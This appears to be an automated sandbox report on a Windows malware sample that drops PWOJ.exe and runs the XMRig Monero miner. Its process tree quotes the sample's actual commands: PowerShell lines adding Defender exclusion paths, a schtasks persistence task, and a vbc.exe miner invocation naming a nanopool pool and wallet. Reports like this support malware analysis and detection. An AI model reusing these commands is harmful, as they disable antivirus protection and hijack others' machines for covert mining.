Analysis

  • max time kernel
    94s
  • max time network
    102s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2022, 15:51

General

  • Target
    file.exe
  • Size 1.5MB
  • Sample221201-tajcqsde26
  • SHA256 42cd55c0f021f25893be2d9ccd6225e8ecef534270169ee1e67f4038d269b4bc
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:332
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp46F0.tmp.bat""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1832
      • C:\ProgramData\netcore\PWOJ.exe
        "C:\ProgramData\netcore\PWOJ.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:912
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:344
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
            5⤵
            • Creates scheduled task(s)
            PID:808
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1932

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.5MB
        • SHA256 42cd55c0f021f25893be2d9ccd6225e8ecef534270169ee1e67f4038d269b4bc
        • MD5 SHA1 SHA512 SSDEEP

        PWOJ.exe

        • Path C:\ProgramData\netcore\PWOJ.exe
        • Size 1.5MB
        • SHA256 42cd55c0f021f25893be2d9ccd6225e8ecef534270169ee1e67f4038d269b4bc
        • MD5 SHA1 SHA512 SSDEEP

        tmp46F0.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp46F0.tmp.bat
        • Size 140B
        • SHA256 a838439df116d7a900d0116befe2b5b751ae0dfb829f5b12a55b46bb48878a31
        • MD5 SHA1 SHA512

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 7KB
        • SHA256 059fccdf9afb11f1a77c2b59d323ee72682a8ca9b5056b12a42bc3267d166705
        • MD5 SHA1 SHA512 SSDEEP

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 7KB
        • SHA256 bf55d6fb647398a068896e7b7f947c67299420c87e3212528f38dfdc03e4fcb0
        • MD5 SHA1 SHA512 SSDEEP

        PWOJ.exe

        • Path \ProgramData\netcore\PWOJ.exe
        • Size 1.5MB
        • SHA256 42cd55c0f021f25893be2d9ccd6225e8ecef534270169ee1e67f4038d269b4bc
        • MD5 SHA1 SHA512 SSDEEP

        memory/332-74-0x000007FEFBB71000-0x000007FEFBB73000-memory.dmp

        memory/332-149-0x000000000225B000-0x000000000227A000-memory.dmp

        memory/332-145-0x0000000002254000-0x0000000002257000-memory.dmp

        memory/332-135-0x0000000002254000-0x0000000002257000-memory.dmp

        memory/332-132-0x000000001B750000-0x000000001BA4F000-memory.dmp

        memory/332-119-0x000007FEEBE50000-0x000007FEEC9AD000-memory.dmp

        memory/332-141-0x000000000225B000-0x000000000227A000-memory.dmp

        memory/332-124-0x0000000002254000-0x0000000002257000-memory.dmp

        memory/332-77-0x000007FEED900000-0x000007FEEE323000-memory.dmp

        memory/344-117-0x000007FEED900000-0x000007FEEE323000-memory.dmp

        memory/344-138-0x00000000023EB000-0x000000000240A000-memory.dmp

        memory/344-126-0x00000000023E4000-0x00000000023E7000-memory.dmp

        memory/344-122-0x000007FEEBE50000-0x000007FEEC9AD000-memory.dmp

        memory/344-137-0x00000000023E4000-0x00000000023E7000-memory.dmp

        memory/344-150-0x00000000023EB000-0x000000000240A000-memory.dmp

        memory/344-130-0x000000001B850000-0x000000001BB4F000-memory.dmp

        memory/344-146-0x00000000023E4000-0x00000000023E7000-memory.dmp

        memory/676-140-0x00000000028AB000-0x00000000028CA000-memory.dmp

        memory/676-121-0x000007FEEBE50000-0x000007FEEC9AD000-memory.dmp

        memory/676-144-0x00000000028A4000-0x00000000028A7000-memory.dmp

        memory/676-148-0x00000000028AB000-0x00000000028CA000-memory.dmp

        memory/676-76-0x000007FEED900000-0x000007FEEE323000-memory.dmp

        memory/676-131-0x000000001B720000-0x000000001BA1F000-memory.dmp

        memory/676-136-0x00000000028A4000-0x00000000028A7000-memory.dmp

        memory/676-125-0x00000000028A4000-0x00000000028A7000-memory.dmp

        memory/912-139-0x00000000027EB000-0x000000000280A000-memory.dmp

        memory/912-120-0x000007FEEBE50000-0x000007FEEC9AD000-memory.dmp

        memory/912-134-0x00000000027E4000-0x00000000027E7000-memory.dmp

        memory/912-123-0x00000000027E4000-0x00000000027E7000-memory.dmp

        memory/912-133-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

        memory/912-116-0x000007FEED900000-0x000007FEEE323000-memory.dmp

        memory/912-151-0x00000000027EB000-0x000000000280A000-memory.dmp

        memory/912-147-0x00000000027E4000-0x00000000027E7000-memory.dmp

        memory/1564-67-0x000007FEF5A50000-0x000007FEF643C000-memory.dmp

        memory/1564-66-0x000007FEFF520000-0x000007FEFF5FB000-memory.dmp

        memory/1564-83-0x00000000000E0000-0x0000000000123000-memory.dmp

        memory/1564-56-0x000007FEFAEF0000-0x000007FEFAF8C000-memory.dmp

        memory/1564-82-0x0000000000980000-0x0000000000B54000-memory.dmp

        memory/1564-81-0x000007FEFD4D0000-0x000007FEFD4EF000-memory.dmp

        memory/1564-57-0x000007FEFF4B0000-0x000007FEFF517000-memory.dmp

        memory/1564-58-0x00000000770D0000-0x00000000771CA000-memory.dmp

        memory/1564-59-0x000007FEFE040000-0x000007FEFE0DF000-memory.dmp

        memory/1564-71-0x000007FEF6930000-0x000007FEF6A5C000-memory.dmp

        memory/1564-70-0x0000000000980000-0x0000000000B54000-memory.dmp

        memory/1564-60-0x00000000771D0000-0x00000000772EF000-memory.dmp

        memory/1564-55-0x000007FEFB0A0000-0x000007FEFB10F000-memory.dmp

        memory/1564-61-0x000007FEFD400000-0x000007FEFD46C000-memory.dmp

        memory/1564-69-0x000007FEFD9F0000-0x000007FEFDBF3000-memory.dmp

        memory/1564-68-0x000007FEFE190000-0x000007FEFE2BD000-memory.dmp

        memory/1564-63-0x0000000000980000-0x0000000000B54000-memory.dmp

        memory/1564-64-0x00000000000E0000-0x0000000000123000-memory.dmp

        memory/1564-62-0x000007FEFDE60000-0x000007FEFDED1000-memory.dmp

        memory/1564-65-0x000007FEFADF0000-0x000007FEFAEE7000-memory.dmp

        memory/1680-98-0x00000000006F0000-0x0000000000733000-memory.dmp

        memory/1680-101-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

        memory/1680-95-0x000007FEFD400000-0x000007FEFD46C000-memory.dmp

        memory/1680-94-0x00000000771D0000-0x00000000772EF000-memory.dmp

        memory/1680-129-0x00000000006F0000-0x0000000000733000-memory.dmp

        memory/1680-93-0x000007FEFE040000-0x000007FEFE0DF000-memory.dmp

        memory/1680-128-0x0000000001330000-0x0000000001504000-memory.dmp

        memory/1680-127-0x000007FEFD4D0000-0x000007FEFD4EF000-memory.dmp

        memory/1680-92-0x00000000770D0000-0x00000000771CA000-memory.dmp

        memory/1680-91-0x000007FEFF4B0000-0x000007FEFF517000-memory.dmp

        memory/1680-105-0x000007FEFADC0000-0x000007FEFAEEC000-memory.dmp

        memory/1680-99-0x000007FEF6960000-0x000007FEF6A57000-memory.dmp

        memory/1680-90-0x000007FEFAEF0000-0x000007FEFAF8C000-memory.dmp

        memory/1680-97-0x000007FEFDE60000-0x000007FEFDED1000-memory.dmp

        memory/1680-100-0x000007FEFF520000-0x000007FEFF5FB000-memory.dmp

        memory/1680-142-0x000007FEFCA80000-0x000007FEFCAA2000-memory.dmp

        memory/1680-143-0x000007FEFC930000-0x000007FEFC947000-memory.dmp

        memory/1680-118-0x000007FEFDC00000-0x000007FEFDCD7000-memory.dmp

        memory/1680-89-0x000007FEFB0A0000-0x000007FEFB10F000-memory.dmp

        memory/1680-113-0x000007FEFB710000-0x000007FEFB925000-memory.dmp

        memory/1680-96-0x0000000001330000-0x0000000001504000-memory.dmp

        memory/1680-102-0x000007FEFE190000-0x000007FEFE2BD000-memory.dmp

        memory/1680-103-0x000007FEFD9F0000-0x000007FEFDBF3000-memory.dmp

        memory/1680-104-0x0000000001330000-0x0000000001504000-memory.dmp

        memory/1680-186-0x0000000001330000-0x0000000001504000-memory.dmp

        memory/1680-152-0x000007FEF1060000-0x000007FEF107C000-memory.dmp

        memory/1680-153-0x000007FEF1080000-0x000007FEF10E2000-memory.dmp

        memory/1680-154-0x000007FEFE0E0000-0x000007FEFE12D000-memory.dmp

        memory/1680-155-0x000007FEF9450000-0x000007FEF94B4000-memory.dmp

        memory/1680-156-0x000007FEF9500000-0x000007FEF9571000-memory.dmp

        memory/1680-157-0x000007FEFCF00000-0x000007FEFCF25000-memory.dmp

        memory/1680-158-0x000007FEFAA00000-0x000007FEFAA27000-memory.dmp

        memory/1680-159-0x000007FEFD490000-0x000007FEFD4C6000-memory.dmp

        memory/1680-160-0x000007FEFC750000-0x000007FEFC7AB000-memory.dmp

        memory/1932-161-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1932-162-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1932-164-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1932-185-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1932-187-0x0000000000000000-0x0000000001000000-memory.dmp

        memory/1932-188-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1932-189-0x0000000000000000-0x0000000001000000-memory.dmp